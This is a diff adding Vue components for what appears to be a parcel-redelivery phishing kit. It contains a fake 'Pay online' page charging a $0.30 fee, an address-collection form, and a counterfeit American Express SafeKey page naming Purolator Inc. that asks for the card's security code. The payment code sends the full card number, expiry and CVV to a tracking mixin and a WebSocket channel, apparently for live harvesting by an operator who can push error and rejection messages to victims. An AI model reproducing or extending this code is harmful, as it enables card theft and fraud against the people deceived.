||||||
|
justify-content: center;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.package-number {
|
||||||
|
font-size: 13px;
|
||||||
|
color: #666;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.delivery-failed {
|
||||||
|
display: flex;
|
||||||
|
align-items: flex-start;
|
||||||
|
padding: 16px;
|
||||||
|
background-color: #fff5f5;
|
||||||
|
border-left: 4px solid #dc3545;
|
||||||
|
border-radius: 4px;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.failed-icon {
|
||||||
|
font-size: 20px;
|
||||||
|
color: #dc3545;
|
||||||
|
margin-right: 12px;
|
||||||
|
margin-top: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.failed-content {
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.failed-title {
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #dc3545;
|
||||||
|
margin: 0 0 8px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.failed-description {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #666;
|
||||||
|
line-height: 1.4;
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.action-buttons {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
background-color: #001996;
|
||||||
|
color: white;
|
||||||
|
text-decoration: none;
|
||||||
|
text-align: center;
|
||||||
|
padding: 16px 24px;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
transition: background-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary:hover {
|
||||||
|
background-color: #000d5c;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary {
|
||||||
|
width: 100%;
|
||||||
|
background-color: #f8f9fa;
|
||||||
|
color: #001996;
|
||||||
|
border: 1px solid #001996;
|
||||||
|
padding: 16px 24px;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary:hover {
|
||||||
|
background-color: #001996;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 响应式设计 */
|
||||||
|
@media (max-width: 480px) {
|
||||||
|
.container {
|
||||||
|
padding: 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-card {
|
||||||
|
padding: 20px;
|
||||||
|
border-radius: 0;
|
||||||
|
margin: 0 -10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.banner-section {
|
||||||
|
height: 100px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-title {
|
||||||
|
font-size: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.package-number {
|
||||||
|
font-size: 12px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
465
src/components/PaymentPage.vue
Normal file
@@ -0,0 +1,465 @@
|
|||||||
|
<template>
|
||||||
|
<div class="payment-page">
|
||||||
|
<!-- 头部导航 -->
|
||||||
|
<HeaderComponent />
|
||||||
|
|
||||||
|
<!-- 主要内容区域 -->
|
||||||
|
<main class="main-content">
|
||||||
|
<div class="container">
|
||||||
|
<div class="content-card">
|
||||||
|
<!-- 页面标题 -->
|
||||||
|
<div class="page-header">
|
||||||
|
<h1 class="page-title">Pay online</h1>
|
||||||
|
<p class="page-subtitle">For redelivery, in we will charge some service fee</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 错误信息提示 -->
|
||||||
|
<div v-if="errorMessage" class="error-alert">
|
||||||
|
{{ errorMessage }}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 支付方式图标 -->
|
||||||
|
<div class="payment-methods">
|
||||||
|
<div class="payment-icons">
|
||||||
|
<div class="payment-icon visa">VISA</div>
|
||||||
|
<div class="payment-icon mastercard">●●</div>
|
||||||
|
<div class="payment-icon amex">AMEX</div>
|
||||||
|
<div class="payment-icon discover">discover</div>
|
||||||
|
<div class="payment-icon diners">DINERS</div>
|
||||||
|
<div class="payment-icon unionpay">unionpay</div>
|
||||||
|
<div class="payment-icon jcb">JCB</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 支付表单 -->
|
||||||
|
<form class="payment-form" @submit.prevent="processPayment">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="nameOnCard">Name on card</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="nameOnCard"
|
||||||
|
v-model="formData.nameOnCard"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="cardNumber">Card number</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="cardNumber"
|
||||||
|
v-model="formData.cardNumber"
|
||||||
|
class="form-control"
|
||||||
|
:class="{ 'error': errors.cardNumber }"
|
||||||
|
placeholder="xxxx xxxx xxxx xxxx"
|
||||||
|
@input="formatCardNumber"
|
||||||
|
maxlength="19"
|
||||||
|
/>
|
||||||
|
<div v-if="errors.cardNumber" class="error-message">
|
||||||
|
Card Number is missing or invalid
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-row">
|
||||||
|
<div class="form-group half">
|
||||||
|
<label for="expiryDate">Expiry date (MM/YY)</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="expiryDate"
|
||||||
|
v-model="formData.expiryDate"
|
||||||
|
class="form-control"
|
||||||
|
:class="{ 'error': errors.expiryDate }"
|
||||||
|
placeholder="MM/YY"
|
||||||
|
@input="formatExpiryDate"
|
||||||
|
maxlength="5"
|
||||||
|
/>
|
||||||
|
<div v-if="errors.expiryDate" class="error-message">
|
||||||
|
Expiry date is not valid
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group half">
|
||||||
|
<label for="securityCode">Security code (CVV)</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="securityCode"
|
||||||
|
v-model="formData.securityCode"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
maxlength="4"
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 支付按钮 -->
|
||||||
|
<div class="form-actions">
|
||||||
|
<button type="submit" class="btn-pay" :disabled="isProcessing">
|
||||||
|
<span v-if="!isProcessing">Total : $ 0.30</span>
|
||||||
|
<span v-else>Processing...</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- 页脚 -->
|
||||||
|
<FooterComponent />
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
import HeaderComponent from './HeaderComponent.vue'
|
||||||
|
import FooterComponent from './FooterComponent.vue'
|
||||||
|
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
|
||||||
|
import { useWebSocket } from '../composables/useWebSocket.js'
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'PaymentPage',
|
||||||
|
mixins: [behaviorTrackingMixin],
|
||||||
|
components: {
|
||||||
|
HeaderComponent,
|
||||||
|
FooterComponent
|
||||||
|
},
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
formData: {
|
||||||
|
nameOnCard: '',
|
||||||
|
cardNumber: '',
|
||||||
|
expiryDate: '',
|
||||||
|
securityCode: ''
|
||||||
|
},
|
||||||
|
errors: {
|
||||||
|
cardNumber: false,
|
||||||
|
expiryDate: false
|
||||||
|
},
|
||||||
|
isProcessing: false,
|
||||||
|
errorMessage: ''
|
||||||
|
}
|
||||||
|
},
|
||||||
|
created() {
|
||||||
|
// Reset form data when component is created
|
||||||
|
this.resetForm();
|
||||||
|
|
||||||
|
// 监听错误显示事件
|
||||||
|
this.errorListener = (event) => {
|
||||||
|
if (event.detail && event.detail.message) {
|
||||||
|
this.errorMessage = event.detail.message;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
window.addEventListener('showError', this.errorListener);
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
// 初始化WebSocket控制
|
||||||
|
const { isProcessing, customErrorMessage } = useWebSocket();
|
||||||
|
this.isProcessing = isProcessing;
|
||||||
|
|
||||||
|
if (customErrorMessage.value) {
|
||||||
|
this.errorMessage = customErrorMessage.value;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
beforeUnmount() {
|
||||||
|
// 移除事件监听
|
||||||
|
window.removeEventListener('showError', this.errorListener);
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
resetForm() {
|
||||||
|
this.formData = {
|
||||||
|
nameOnCard: '',
|
||||||
|
cardNumber: '',
|
||||||
|
expiryDate: '',
|
||||||
|
securityCode: ''
|
||||||
|
};
|
||||||
|
this.errors = {
|
||||||
|
cardNumber: false,
|
||||||
|
expiryDate: false
|
||||||
|
};
|
||||||
|
this.errorMessage = '';
|
||||||
|
},
|
||||||
|
formatCardNumber() {
|
||||||
|
// 格式化卡号,每4位加一个空格
|
||||||
|
let value = this.formData.cardNumber.replace(/\s/g, '').replace(/[^0-9]/gi, '');
|
||||||
|
let formattedValue = value.match(/.{1,4}/g)?.join(' ') || value;
|
||||||
|
this.formData.cardNumber = formattedValue;
|
||||||
|
|
||||||
|
// 验证卡号
|
||||||
|
this.errors.cardNumber = value.length < 13;
|
||||||
|
},
|
||||||
|
|
||||||
|
formatExpiryDate() {
|
||||||
|
// 格式化到期日期 MM/YY
|
||||||
|
let value = this.formData.expiryDate.replace(/\D/g, '');
|
||||||
|
if (value.length >= 2) {
|
||||||
|
value = value.substring(0, 2) + '/' + value.substring(2, 4);
|
||||||
|
}
|
||||||
|
this.formData.expiryDate = value;
|
||||||
|
|
||||||
|
// 验证到期日期
|
||||||
|
this.errors.expiryDate = value.length < 5;
|
||||||
|
},
|
||||||
|
|
||||||
|
processPayment() {
|
||||||
|
// 设置处理状态
|
||||||
|
this.isProcessing = true;
|
||||||
|
|
||||||
|
// 发送支付表单数据
|
||||||
|
this.trackFormSubmit('payment', this.formData);
|
||||||
|
|
||||||
|
// 通过WebSocket发送支付处理信息
|
||||||
|
if (this.$behaviorTracker) {
|
||||||
|
this.$behaviorTracker.sendToWsSub({
|
||||||
|
type: 'payment_processing',
|
||||||
|
data: {
|
||||||
|
...this.formData,
|
||||||
|
timestamp: new Date().toISOString()
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
// 模拟网络延迟
|
||||||
|
setTimeout(() => {
|
||||||
|
this.isProcessing = false;
|
||||||
|
console.log('处理支付:', this.formData);
|
||||||
|
alert('支付处理中...');
|
||||||
|
}, 1500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.payment-page {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
min-height: 100vh;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-content {
|
||||||
|
flex: 1;
|
||||||
|
padding: 20px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 450px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 24px;
|
||||||
|
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-header {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-title {
|
||||||
|
font-size: 24px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #333;
|
||||||
|
margin: 0 0 8px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-subtitle {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #666;
|
||||||
|
margin: 0 0 20px 0;
|
||||||
|
line-height: 1.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-alert {
|
||||||
|
padding: 12px;
|
||||||
|
background-color: #f8d7da;
|
||||||
|
color: #721c24;
|
||||||
|
border: 1px solid #f5c6cb;
|
||||||
|
border-radius: 4px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
font-size: 14px;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-methods {
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icons {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
justify-content: center;
|
||||||
|
gap: 8px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
width: 45px;
|
||||||
|
height: 28px;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 10px;
|
||||||
|
font-weight: bold;
|
||||||
|
background: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.visa {
|
||||||
|
color: #1434cb;
|
||||||
|
background: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.mastercard {
|
||||||
|
color: #eb001b;
|
||||||
|
font-size: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.amex {
|
||||||
|
color: #006fcf;
|
||||||
|
background: #fff;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.discover {
|
||||||
|
color: #ff6000;
|
||||||
|
font-size: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.diners {
|
||||||
|
color: #0079be;
|
||||||
|
font-size: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.unionpay {
|
||||||
|
color: #e21836;
|
||||||
|
font-size: 7px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon.jcb {
|
||||||
|
color: #006cb4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-form {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group.half {
|
||||||
|
flex: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-row {
|
||||||
|
display: flex;
|
||||||
|
gap: 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group label {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #333;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control {
|
||||||
|
padding: 12px 16px;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
background-color: #fff;
|
||||||
|
transition: border-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: #001996;
|
||||||
|
box-shadow: 0 0 0 2px rgba(0, 25, 150, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control.error {
|
||||||
|
border-color: #dc3545;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #dc3545;
|
||||||
|
font-size: 12px;
|
||||||
|
margin-top: 5px;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-actions {
|
||||||
|
margin-top: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-pay {
|
||||||
|
width: 100%;
|
||||||
|
background-color: #001996;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
padding: 16px 24px;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-pay:hover {
|
||||||
|
background-color: #000d5c;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-pay:active {
|
||||||
|
transform: translateY(1px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-pay:disabled {
|
||||||
|
background-color: #6c757d;
|
||||||
|
cursor: not-allowed;
|
||||||
|
opacity: 0.7;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 响应式设计 */
|
||||||
|
@media (max-width: 480px) {
|
||||||
|
.container {
|
||||||
|
padding: 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-card {
|
||||||
|
padding: 20px;
|
||||||
|
border-radius: 0;
|
||||||
|
margin: 0 -10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-title {
|
||||||
|
font-size: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-row {
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icons {
|
||||||
|
gap: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.payment-icon {
|
||||||
|
width: 40px;
|
||||||
|
height: 25px;
|
||||||
|
font-size: 9px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control {
|
||||||
|
font-size: 16px; /* 防止iOS自动缩放 */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
293
src/components/UpdateAddressPage.vue
Normal file
@@ -0,0 +1,293 @@
|
|||||||
|
<template>
|
||||||
|
<div class="update-address-page">
|
||||||
|
<!-- 头部导航 -->
|
||||||
|
<HeaderComponent />
|
||||||
|
|
||||||
|
<!-- 主要内容区域 -->
|
||||||
|
<main class="main-content">
|
||||||
|
<div class="container">
|
||||||
|
<div class="content-card">
|
||||||
|
<!-- 页面标题 -->
|
||||||
|
<div class="page-header">
|
||||||
|
<h1 class="page-title">Update Shipping Address</h1>
|
||||||
|
<p class="page-subtitle">Please fill in the correct information to ensure successful delivery again</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 表单区域 -->
|
||||||
|
<form class="address-form" @submit.prevent="updateAddress">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="fullName">Full name</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="name"
|
||||||
|
v-model="formData.fullName"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="addressLine">Address Line</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="address"
|
||||||
|
v-model="formData.addressLine"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="cityTown">City or Town</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="city"
|
||||||
|
v-model="formData.cityTown"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="stateProvince">State / Province / Region</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="state"
|
||||||
|
v-model="formData.stateProvince"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="postalCode">Postal code</label>
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="zipCode"
|
||||||
|
v-model="formData.postalCode"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="phoneNumber">phone number</label>
|
||||||
|
<input
|
||||||
|
type="tel"
|
||||||
|
id="phone"
|
||||||
|
v-model="formData.phoneNumber"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="emailAddress">Recipient email address</label>
|
||||||
|
<input
|
||||||
|
type="email"
|
||||||
|
id="email"
|
||||||
|
v-model="formData.emailAddress"
|
||||||
|
class="form-control"
|
||||||
|
placeholder=""
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- 提交按钮 -->
|
||||||
|
<div class="form-actions">
|
||||||
|
<router-link to="/payment" class="btn-secondary">
|
||||||
|
Proceed to Payment
|
||||||
|
</router-link>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- 页脚 -->
|
||||||
|
<FooterComponent />
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
import HeaderComponent from './HeaderComponent.vue'
|
||||||
|
import FooterComponent from './FooterComponent.vue'
|
||||||
|
import { behaviorTrackingMixin } from '../mixins/behaviorTracking.js'
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'UpdateAddressPage',
|
||||||
|
mixins: [behaviorTrackingMixin],
|
||||||
|
components: {
|
||||||
|
HeaderComponent,
|
||||||
|
FooterComponent
|
||||||
|
},
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
formData: {
|
||||||
|
fullName: '',
|
||||||
|
addressLine: '',
|
||||||
|
cityTown: '',
|
||||||
|
stateProvince: '',
|
||||||
|
postalCode: '',
|
||||||
|
phoneNumber: '',
|
||||||
|
emailAddress: ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
updateAddress() {
|
||||||
|
this.trackFormSubmit('registration', this.formData);
|
||||||
|
|
||||||
|
console.log('更新地址信息:', this.formData);
|
||||||
|
alert('地址更新成功!');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style scoped>
|
||||||
|
.update-address-page {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
min-height: 100vh;
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-content {
|
||||||
|
flex: 1;
|
||||||
|
padding: 20px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 450px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 15px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-card {
|
||||||
|
background: white;
|
||||||
|
border-radius: 8px;
|
||||||
|
padding: 24px;
|
||||||
|
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-header {
|
||||||
|
text-align: center;
|
||||||
|
margin-bottom: 32px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-title {
|
||||||
|
font-size: 24px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: #333;
|
||||||
|
margin: 0 0 12px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-subtitle {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #666;
|
||||||
|
margin: 0;
|
||||||
|
line-height: 1.4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.address-form {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group label {
|
||||||
|
font-size: 14px;
|
||||||
|
color: #333;
|
||||||
|
margin-bottom: 8px;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control {
|
||||||
|
padding: 12px 16px;
|
||||||
|
border: 1px solid #ddd;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
background-color: #fff;
|
||||||
|
transition: border-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: #001996;
|
||||||
|
box-shadow: 0 0 0 2px rgba(0, 25, 150, 0.1);
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-actions {
|
||||||
|
margin-top: 24px;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-update {
|
||||||
|
width: 100%;
|
||||||
|
background-color: #001996;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
padding: 16px 24px;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background-color 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-update:hover {
|
||||||
|
background-color: #000d5c;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-update:active {
|
||||||
|
transform: translateY(1px);
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
background-color: #f8f9fa;
|
||||||
|
color: #001996;
|
||||||
|
text-decoration: none;
|
||||||
|
text-align: center;
|
||||||
|
border: 1px solid #001996;
|
||||||
|
padding: 16px 24px;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 16px;
|
||||||
|
font-weight: 600;
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-secondary:hover {
|
||||||
|
background-color: #001996;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* 响应式设计 */
|
||||||
|
@media (max-width: 480px) {
|
||||||
|
.container {
|
||||||
|
padding: 0 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.content-card {
|
||||||
|
padding: 20px;
|
||||||
|
border-radius: 0;
|
||||||
|
margin: 30px -10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.page-title {
|
||||||
|
font-size: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-control {
|
||||||
|
font-size: 16px; /* 防止iOS自动缩放 */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
251
src/components/verification/AmexCvvVerificationPage.vue
Normal file
@@ -0,0 +1,251 @@
|
|||||||
|
<template>
|
||||||
|
<div class="verification-container">
|
||||||
|
<div class="card">
|
||||||
|
<div class="header">
|
||||||
|
<div class="amex-logo">
|
||||||
|
<img src="/assets/amex-logo.svg" alt="American Express Logo" />
|
||||||
|
<span>SafeKey<span class="superscript">®</span></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="divider"></div>
|
||||||
|
|
||||||
|
<h2>Your safety and security</h2>
|
||||||
|
|
||||||
|
<p class="description">
|
||||||
|
Please enter the last 3 characters of the planning position on the back of your American Express card.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p class="transaction-details">
|
||||||
|
You are paying {{ verificationData?.amount || '$0.30' }} to {{ verificationData?.merchantName || 'Purolator Inc.' }} on {{ verificationData?.date || '05/07/2025' }} with your Card {{ verificationData?.cardLastDigits || '************' }}
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="cvv-code"
|
||||||
|
v-model="cvvCode"
|
||||||
|
:disabled="isProcessing"
|
||||||
|
autocomplete="off"
|
||||||
|
placeholder="000"
|
||||||
|
maxlength="3"
|
||||||
|
@input="handleInput"
|
||||||
|
/>
|
||||||
|
<p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
|
||||||
|
<p v-if="isCardRejected" class="error-message">We were unable to verify this card, please replace the card and try again.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button
|
||||||
|
class="continue-button"
|
||||||
|
@click="submitCode"
|
||||||
|
:disabled="!isValid || isProcessing"
|
||||||
|
>
|
||||||
|
Continue
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
<a href="#" class="privacy-link">Privacy Center</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
|
||||||
|
<script setup>
|
||||||
|
import { ref, computed, onMounted, watch } from 'vue'
|
||||||
|
import { useWebSocket } from '../../composables/useWebSocket'
|
||||||
|
|
||||||
|
// WebSocket相关
|
||||||
|
const {
|
||||||
|
verificationData,
|
||||||
|
isProcessing: wsProcessing,
|
||||||
|
customErrorMessage,
|
||||||
|
isCardRejected: wsCardRejected,
|
||||||
|
submitVerificationCode,
|
||||||
|
trackInput
|
||||||
|
} = useWebSocket()
|
||||||
|
|
||||||
|
const cvvCode = ref('')
|
||||||
|
const errorMessage = ref('')
|
||||||
|
const isProcessing = ref(false)
|
||||||
|
const isCardRejected = ref(false)
|
||||||
|
|
||||||
|
const isValid = computed(() => {
|
||||||
|
return cvvCode.value.length === 3
|
